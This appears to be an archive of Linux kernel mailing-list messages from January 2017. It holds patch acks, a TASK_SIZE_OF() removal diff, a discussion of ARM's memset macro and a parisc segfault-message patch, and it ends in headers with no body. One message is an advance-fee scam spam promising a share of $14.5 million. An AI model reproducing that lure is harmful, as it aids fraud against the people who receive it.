        by IMSVA (Postfix) with ESMTP id 8B0C742042;
        Mon,  2 Jan 2017 05:55:14 +0000 (GMT)
Original-Received: from osiris (unknown [9.152.212.54])
        by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
        Mon,  2 Jan 2017 05:55:14 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20161230155634.8692-2-dsafonov@virtuozzo.com>
X-TM-AS-GCONF: 00
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 17010206-0016-0000-0000-0000036E35ED
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 17010206-0017-0000-0000-00002541C154
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:,, definitions=2017-01-02_06:,,
 signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0 spamscore=0 suspectscore=0
 malwarescore=0 phishscore=0 adultscore=0 bulkscore=0 classifier=spam
 adjust=0 reason=mlx scancount=1 engine=8.0.1-1612050000
 definitions=main-1701020118
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:24222 gmane.linux.kernel:2377638 gmane.linux.ports.arm.kernel:547004 gmane.linux.ports.mips.general:57307 gmane.linux.ports.parisc:27130 gmane.linux.ports.ppc64.devel:136862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/24222>

On Fri, Dec 30, 2016 at 06:56:31PM +0300, Dmitry Safonov wrote:
> All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
> TASK_SIZE_MAX since:
> commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
> FSBASE/GSBASE upper limits"),
> commit a06db751c321 ("pagemap: check permissions and capabilities at
> open time"),
> 
> Signed-off-by: Dmitry Safonov <dsafonov@virtuozzo.com>
> ---
...

> diff --git a/arch/s390/include/asm/processor.h b/arch/s390/include/asm/processor.h
> index 6bca916a5ba0..c53e8e2a51ac 100644
> --- a/arch/s390/include/asm/processor.h
> +++ b/arch/s390/include/asm/processor.h
> @@ -89,10 +89,9 @@ extern void execve_tail(void);
>   * User space process size: 2GB for 31 bit, 4TB or 8PT for 64 bit.
>   */
> 
> -#define TASK_SIZE_OF(tsk)	((tsk)->mm->context.asce_limit)
>  #define TASK_UNMAPPED_BASE	(test_thread_flag(TIF_31BIT) ? \
>  					(1UL << 30) : (1UL << 41))
> -#define TASK_SIZE		TASK_SIZE_OF(current)
> +#define TASK_SIZE		(current->mm->context.asce_limit)
>  #define TASK_MAX_SIZE		(1UL << 53)
> 
>  #define STACK_TOP		(1UL << (test_thread_flag(TIF_31BIT) ? 31:42))

FWIW, for the s390 part:

Acked-by: Heiko Carstens <heiko.carstens@de.ibm.com>

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Kirill A. Shutemov" <kirill@shutemov.name>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC 1/4] mm: remove unused TASK_SIZE_OF()
Date: Mon, 2 Jan 2017 12:53:42 +0300
Lines: 39
Approved: news@gmane.org
Message-ID: <20170102095342.GD30735@node.shutemov.name>
References: <20161230155634.8692-1-dsafonov@virtuozzo.com>
 <20161230155634.8692-2-dsafonov@virtuozzo.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483350836 2044 195.159.176.226 (2 Jan 2017 09:53:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2017 09:53:56 +0000 (UTC)
User-Agent: Mutt/1.5.23.1 (2014-03-12)
Cc: linux-kernel@vger.kernel.org, 0x7f454c46@gmail.com,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Peter Zijlstra <peterz@infradead.org>,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-s390@vger.kernel.org, sparclinux@vger.kernel.org,
        Thomas Gleixner <tglx@linutronix.de>,
        In
To: Dmitry Safonov <dsafonov@virtuozzo.com>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Jan 02 10:53:49 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1cNzJH-00024p-7h
	for lnx-sparclinux@m.gmane.org; Mon, 02 Jan 2017 10:53:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932535AbdABJxr (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 2 Jan 2017 04:53:47 -0500
Original-Received: from mail-wj0-f193.google.com ([209.85.210.193]:33950 "EHLO
        mail-wj0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932352AbdABJxp (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 2 Jan 2017 04:53:45 -0500
Original-Received: by mail-wj0-f193.google.com with SMTP id qs7so30279199wjc.1
        for <sparclinux@vger.kernel.org>; Mon, 02 Jan 2017 01:53:44 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=shutemov-name.20150623.gappssmtp.com; s=20150623;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=1qNxZjKg7pDhpiXMYnzrxs2ofOammPoo16PBcb1sz/8=;
        b=wN9183a3Z3W4zEN/ttkTGnqvOGG0YbJawt0ilBCzUNVDoAjTpDpE/AdZsXT1HdYZMq
         099p0qWRTcUEAoIWJKDNGnGshGjU4tS81LucSynzWnOSAIh1pcGgP5DOrdQYOuUYhhu+
         B67l9N6rV+BbRh5DPpFykWBS8O9zbIT/gXG5SZRXxY1sfqggiGuobPf3XTvEFdIiLqYj
         W8JnGd0ckZ1H6hNQVgU2ixSE/Pi1nU+hd/CyCx7PGGOmA6X9oFgE0oBzAvsh34dsNBBx
         Tg3Fk+U160aTGF9Ep9s0ghUfWrfEIbsYKXjYXQzIZhqfVTOThcZmC4I3osgz9Z4RDXnt
         KtMg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=1qNxZjKg7pDhpiXMYnzrxs2ofOammPoo16PBcb1sz/8=;
        b=NzhIKF7V9PcXzQ2YcZvJSYBjPFzk1MEWiQLJcpzgyNHafw5ltvP8oskCyT5rNAban6
         /+1Ks6XY2hEIQ8EUm7TBTHQ2tP/4P/5KyENL+oqX7WeWYbo7S9fk2Y7dym1bXyKbCv4x
         axL0a/Jer9iCvEA+W8WBTpA+QuBpZgYsE2fzgdVXC0gq9WhrpHQSgYvTt4C39ZAoByDj
         zsFeZk2xMV/hloRgVCWxkoYndYtECvGEe5eDIQeCW1bx/ST86BuLmQFNyoxmF9JOdSHi
         QOvQLEAHvnQkFEgSccd/5Mtb127rS1Nyq5FuuyHpnIUQKZrfwcxEw05RS3RXFqQWNdDJ
         ksgg==
X-Gm-Message-State: AIkVDXIbLVkDpq6TP9ctymyOBb8cDA4O8fsYlKekuwO3bWlYMESC/i20bmCekytJCUkbBQ==
X-Received: by 10.194.173.228 with SMTP id bn4mr47197543wjc.161.1483350824037;
        Mon, 02 Jan 2017 01:53:44 -0800 (PST)
Original-Received: from node.shutemov.name ([93.85.148.225])
        by smtp.gmail.com with ESMTPSA id j6sm87114194wjk.25.2017.01.02.01.53.43
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 02 Jan 2017 01:53:43 -0800 (PST)
Original-Received: by node.shutemov.name (Postfix, from userid 1000)
        id 711DB648C170; Mon,  2 Jan 2017 12:53:42 +0300 (+03)
Content-Disposition: inline
In-Reply-To: <20161230155634.8692-2-dsafonov@virtuozzo.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:24223 gmane.linux.kernel:2377746 gmane.linux.ports.arm.kernel:547037 gmane.linux.ports.mips.general:57309 gmane.linux.ports.parisc:27131 gmane.linux.ports.ppc64.devel:136863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/24223>

On Fri, Dec 30, 2016 at 06:56:31PM +0300, Dmitry Safonov wrote:
> All users of TASK_SIZE_OF(tsk) have migrated to mm->task_size or
> TASK_SIZE_MAX since:
> commit d696ca016d57 ("x86/fsgsbase/64: Use TASK_SIZE_MAX for
> FSBASE/GSBASE upper limits"),
> commit a06db751c321 ("pagemap: check permissions and capabilities at
> open time"),
> 
> Cc: Catalin Marinas <catalin.marinas@arm.com>
> Cc: Will Deacon <will.deacon@arm.com>
> Cc: Ralf Baechle <ralf@linux-mips.org>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>
> Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>
> Cc: Paul Mackerras <paulus@samba.org>
> Cc: Michael Ellerman <mpe@ellerman.id.au>
> Cc: Martin Schwidefsky <schwidefsky@de.ibm.com>
> Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
> Cc: "David S. Miller" <davem@davemloft.net>
> Cc: Peter Zijlstra <peterz@infradead.org>
> Cc: linux-arm-kernel@lists.infradead.org
> Cc: linux-mips@linux-mips.org
> Cc: linux-parisc@vger.kernel.org
> Cc: linuxppc-dev@lists.ozlabs.org
> Cc: linux-s390@vger.kernel.org
> Cc: sparclinux@vger.kernel.org
> Signed-off-by: Dmitry Safonov <dsafonov@virtuozzo.com>

I've noticed this too.

Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com>

-- 
 Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH] serial: 8250: use initializer instead of memset to clear
 local struct
Date: Mon, 2 Jan 2017 13:27:20 +0000
Lines: 54
Approved: news@gmane.org
Message-ID: <20170102132719.GD14217@n2100.armlinux.org.uk>
References: <1482463308-28968-1-git-send-email-yamada.masahiro@socionext.com>
 <20161223072026.GA23895@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483363660 14488 195.159.176.226 (2 Jan 2017 13:27:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2017 13:27:40 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Masahiro Yamada <yamada.masahiro@socionext.com>,
        linux-parisc@vger.kernel.org, Helge Deller <deller@gmx.de>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        linux-kernel@vger.kernel.org, linux-serial@vger.kernel.org,
        Jiri Slaby <jslaby@suse.com>,
        Joachim Eastwood <manabian@gmail.com>,
        linux-arm-kernel@lists.infradead.org
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 02 14:27:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cO2e9-0006wf-2e
	for glpp-linux-parisc@m.gmane.org; Mon, 02 Jan 2017 14:27:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932560AbdABN1d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 2 Jan 2017 08:27:33 -0500
Original-Received: from pandora.armlinux.org.uk ([78.32.30.218]:35944 "EHLO
        pandora.armlinux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932325AbdABN1c (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 2 Jan 2017 08:27:32 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=armlinux.org.uk; s=pandora-2014;
        h=Sender:In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=Bx3fdq4tgnhsHxqPDGit39JuY8IS9e5wQfUWWQb1uTs=;
        b=GVGLzayCVADl5CHOt7tXa3T4zpNNunUcLmqC9D9Qkf1Y316Z1JEbMcYKpFF24P8Gp1e8FCXhUQHYgPIIwgkqNCn/OL68IhP6dNfJhvx70SPkAcf18PsBZ22JD9mJ7ujYj1Sm7VXluilbGF+dxaybUXZ+qEputlc+A0BRvp1CjtI=;
Original-Received: from n2100.armlinux.org.uk ([fd8f:7570:feb6:1:214:fdff:fe10:4f86]:44855)
        by pandora.armlinux.org.uk with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256)
        (Exim 4.82_1-5b7a7c0-XX)
        (envelope-from <linux@armlinux.org.uk>)
        id 1cO2e3-0005cb-Nt; Mon, 02 Jan 2017 13:27:23 +0000
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.76)
        (envelope-from <linux@n2100.armlinux.org.uk>)
        id 1cO2e0-0000Mq-Fp; Mon, 02 Jan 2017 13:27:20 +0000
Content-Disposition: inline
In-Reply-To: <20161223072026.GA23895@kroah.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27132 gmane.linux.kernel:2377850 gmane.linux.serial:24637 gmane.linux.ports.arm.kernel:547068
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27132>

On Fri, Dec 23, 2016 at 08:20:26AM +0100, Greg Kroah-Hartman wrote:
> On Fri, Dec 23, 2016 at 12:21:48PM +0900, Masahiro Yamada wrote:
> > Leave the way of zero-out to the compiler's decision; the compiler
> > may know a more optimized way than calling memset().
> 
> But no, it doesn't, it will leave "blank" areas in the structure with
> bad data in it, which is why we do memset.  See the tree-wide fixups we
> made about a year ago for this very issue.  Are you sure none of these
> structures get copied to userspace?
> 
> > It may end up with memset() for big structures like this after all,
> > but the code will be cleaner at least.
> 
> Please leave it as-is, unless you see a measured speedup.

We can probably have both... we have an "optimisation" in ARM for
zero-based memset()s which was beneficial with older compilers, but
I suspect GCC 4 does a much better job itself of optimising
memset().  arch/arm/include/asm/string.h:

#define memset(p,v,n)                                                   \
        ({                                                              \
                void *__p = (p); size_t __n = n;                        \
                if ((__n) != 0) {                                       \
                        if (__builtin_constant_p((v)) && (v) == 0)      \
                                __memzero((__p),(__n));                 \
                        else                                            \
                                memset((__p),(v),(__n));                \
                }                                                       \
                (__p);                                                  \
        })

I suspect we should get rid of that with GCC >= 4.

I also suspect that it'll make no difference for uart_8250_port, as
it's rather large, but for smaller structures (eg, up to a cache line)
GCC can probably optimise to inline initialisation.

So, probably something for resulting code and performance analysis...

It's worth noting that 32-bit x86 always uses __builtin_memset() for
memset() on GCC >= 4, so GCC's memset() optimisations must be safe for
structures copied to userspace, or if not, 32-bit x86 is probably
rather buggy.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line: currently at 9.6Mbps down 400kbps up
according to speedtest.net.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add line-break when printing segfault info
Date: Mon, 2 Jan 2017 17:43:15 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20170102164315.GA17815@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1483375481 10285 195.159.176.226 (2 Jan 2017 16:44:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2017 16:44:41 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 02 17:44:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cO5ir-0001hE-0G
	for glpp-linux-parisc@m.gmane.org; Mon, 02 Jan 2017 17:44:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933490AbdABQof (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 2 Jan 2017 11:44:35 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:49356 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S933678AbdABQn3 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 2 Jan 2017 11:43:29 -0500
Original-Received: from p100.box ([92.203.18.155]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LskKv-1cUwIx273Z-012LIq; Mon, 02
 Jan 2017 17:43:18 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:dCEdvLqTG79LKHCdaZtc4E/Ubq1JTTKzGU4OX2vf4C3F9+qvQXR
 RkundE1ujJOl7+uNnHnLpt+2MBHl8VDUQ8EHdVA+xYgp/0yYYdFjIRNcIrEDKWuuIRRQ60T
 dP8lVIn3WarJlM7ugT+yKCZI4RTYSJh4DgdzaRuxNlTvJJdmxwjFyq05T7jpQSXLnYwbSW1
 S1ulhS3WtdcGj7Q5U1H/Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:btF9+JqFV30=:aOOUOi5PPbclO6Hg/+Ex/c
 ZYbkBhp2BHcpuJT/GlzsMD1erNOuhS3NL7Rfs2frYlY3BtmudFOht5VY2/7p0Q1TDvoR040ld
 cXWwzIvA6+aL1VVnmcraM0MRy7isMk673B1rw6BEX9Q3KpLabkG8wrgFGRrcRgsYeq+/SX86X
 VnK5TwYVQMuKM+4f3tL8YJjojexEPygtY4Eh1DdmPNrxh1tEAjbjFrMA8sxuDGkpzk5WHnV3t
 Z7Y7MLN76fzoe/aTw2R0OKD3hpJ75J7C7MHo3ZhI/fQRxKRs/jrdUu5TegU4vTkyisn9kp34I
 QopjW2YevXagA8gvpxv28jxl5b5G3p+btM9wTDz0qFwl/+U3nTBExGEpSD3xhEC1gMvfMHZUx
 2SbrBFP978gLDl7JNMxmwf/+sv8ZkYbhtU0BKmy3nu4ewDRze+37t3VDlXayd6Pnj1gzNQEkx
 Lc6FQKsZoBbYd2dVkx8l6tT4Gl2J7I8g2w1dIvOGohrUzXCIfW6mb4NKFwiUH0/YFf+6Iyfd4
 Oe1ObRoQNHfzKNDV5fIDurGuprobiFEYHmEchq2ewm2Yb/hbBaO4ynrJxbYoPdrExapXRqNcn
 ke/YGLeSHHJYFUBzMyy8I6e6B7IfzdwD7kW+b0/Se82igRfKR0TmzLfN+9WkpjZgay0grOTJ7
 o7sWJ08ghG/xiHv8VoL/XXXPNAvF2cMVjLL5RpP8DrGkZKiHxWF4r9d4NEWoAU5xX6w6dYTXv
 i3o1b3Ru31cGLt+O+lD32SYgi57vK1rHYvV9oEBWYP4ns+hUKGD3uXpEZ5w=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27133
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27133>

Add a leading line break else printed line gets too long.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org> # v4.9

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 8ff9253..1a0b4f6 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -234,7 +234,7 @@ show_signal_msg(struct pt_regs *regs, unsigned long code,
 	    tsk->comm, code, address);
 	print_vma_addr(KERN_CONT " in ", regs->iaoq[0]);
 
-	pr_cont(" trap #%lu: %s%c", code, trap_name(code),
+	pr_cont("\ntrap #%lu: %s%c", code, trap_name(code),
 		vma ? ',':'\n');
 
 	if (vma)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dr. David White" <"wd."@eagle.ocn.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: Urgent Please;;
Date: Tue, 3 Jan 2017 02:34:44 +0900 (JST)
Lines: 10
Approved: news@gmane.org
Message-ID: <196117354.116392318.1483378484299.JavaMail.root__5309.03597032211$1483379817$gmane$org@eagle.ocn.ne.jp>
Reply-To: "Dr. David White" <david_white34@mynet.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483379817 21046 195.159.176.226 (2 Jan 2017 17:56:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Jan 2017 17:56:57 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 02 18:56:53 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cO6qf-0002xZ-6u
	for glpp-linux-parisc@m.gmane.org; Mon, 02 Jan 2017 18:56:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756526AbdABR4X (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 2 Jan 2017 12:56:23 -0500
Original-Received: from mbkd0128.ocn.ad.jp ([153.149.230.29]:33607 "EHLO
        mbkd0128.ocn.ad.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756103AbdABR4V (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 2 Jan 2017 12:56:21 -0500
X-Greylist: delayed 1285 seconds by postgrey-1.27 at vger.kernel.org; Mon, 02 Jan 2017 12:56:15 EST
Original-Received: from mf-smf-ucb008.ocn.ad.jp (mf-smf-ucb008.ocn.ad.jp [153.149.227.68])
        by mbkd0128.ocn.ad.jp (Postfix) with ESMTP id 4AFFFE00E35;
        Tue,  3 Jan 2017 02:34:49 +0900 (JST)
Original-Received: from mf-smf-ucb008.ocn.ad.jp (mf-smf-ucb008 [153.149.227.68])
        by mf-smf-ucb008.ocn.ad.jp (Postfix) with ESMTP id 2B746120259;
        Tue,  3 Jan 2017 02:34:49 +0900 (JST)
Original-Received: from ntt.pod01.mv-mta-ucb021 (mv-mta-ucb021.ocn.ad.jp [153.149.142.84])
        by mf-smf-ucb008.ocn.ad.jp (Switch-3.3.4/Switch-3.3.4) with ESMTP id v02HYiTB047960;
        Tue, 3 Jan 2017 02:34:45 +0900
Original-Received: from vcwebmail.ocn.ad.jp ([153.149.227.165])
        by ntt.pod01.mv-mta-ucb021 with 
        id TVak1u0013akymp01Vakp7; Mon, 02 Jan 2017 17:34:44 +0000
Original-Received: from mzcstore161.ocn.ad.jp (mz-cb161p.ocn.ad.jp [180.8.110.7])
        by vcwebmail.ocn.ad.jp (Postfix) with ESMTP;
        Tue,  3 Jan 2017 02:34:44 +0900 (JST)
X-Originating-IP: [41.138.91.238]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27134
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27134>

Dear,
With due respect to your person and much sincerity of purpose. I have a business proposal which I will like to handle with you and $14.5 Million USD is involve. But be rest assured that everything is legal and risk free as I have concluded all the arrangements and the legal papers that will back the transaction up. Kindly indicate your interest as to enable me tell you more detail of the proposal. Waiting for your urgent response.

Yours Faithfully,
Dr. David White
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.kernel,gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] net: dec: uli526x: use new api
 ethtool_{get|set}_link_ksettings
Date: Mon, 02 Jan 2017 19:31:15 -0500 (EST)
Lines: 10
Approved: news@gmane.org
Message-ID: <20170102.193115.2247105020827859141.davem@davemloft.net>
References: <1483294266-6222-1-git-send-email-tremyfr@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1483403492 23976 195.159.176.226 (3 Jan 2017 00:31:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 3 Jan 2017 00:31:32 +0000 (UTC)
Cc: mugunthanvnm@ti.com, a@unstable.cc, fw@strlen.de, jarod@redhat.com,
        netdev@vger.kernel.org, linux-parisc@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: tremyfr@gmail.com
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 03 01:31:28 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cOD0g-0005Ti-8N
	for glk-linux-kernel-3@m.gmane.org; Tue, 03 Jan 2017 01:31:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933668AbdACAbU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 2 Jan 2017 19:31:20 -0500
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:48840 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933478AbdACAbR (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 2 Jan 2017 19:31:17 -0500
Original-Received: from localhost (cpe-66-108-81-97.nyc.res.rr.com [66.108.81.97])
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id C120012129244;
        Mon,  2 Jan 2017 15:32:04 -0800 (PST)
In-Reply-To: <1483294266-6222-1-git-send-email-tremyfr@gmail.com>
X-Mailer: Mew version 6.7 on Emacs 25.1 / Mule 6.0 (HANACHIRUSATO)
